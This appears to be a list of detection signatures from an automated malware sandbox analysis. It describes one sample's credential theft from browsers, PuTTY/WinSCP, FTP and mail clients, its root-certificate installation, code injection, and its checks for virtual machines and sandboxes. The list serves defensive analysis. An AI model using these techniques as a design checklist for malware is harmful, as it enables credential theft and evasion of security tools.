Check if machine is in data center or colocation facility
Found suspicious powershell code related to unpacking or dynamic code loading
Hides that the sample has been downloaded from the Internet (zone.identifier)
Installs new ROOT certificates
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Suspicious MSHTA Child Process
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Very long command line found

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files

IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
